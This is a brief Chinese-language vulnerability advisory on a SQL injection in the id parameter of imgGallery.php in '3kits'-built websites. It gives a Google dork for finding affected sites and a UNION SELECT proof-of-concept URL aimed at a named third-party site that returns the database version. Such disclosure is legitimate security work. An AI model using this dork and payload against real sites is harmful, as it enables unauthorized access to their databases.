3kits模板SQL注入漏洞：imgGallery.php的id参数

发布日期：2025.11.04 发现者：Hossein_0xB

风险等级：中等 攻击位置：远程 本地攻击：否

CVE编号：N/A CWE编号：N/A

Google Dork："Designed & Developed by 3kits"

漏洞详情

• 漏洞标题：3kits - SQL注入漏洞
• 发现日期：2025-11-03
• 漏洞作者：Hossein_0xB
• 分类：Web应用程序漏洞
• 测试环境：Windows 10

概念验证 (Proof of Concept)

演示地址：

1

https://hyderabadrealtors.org/imgGallery.php?id=-3 union select 1,version(),3,4

此POC利用id参数构造SQL注入攻击，通过union select语句获取数据库版本信息。

发现者：Hossein_0xB 邮箱：dastkherd.makoraan@gmail.com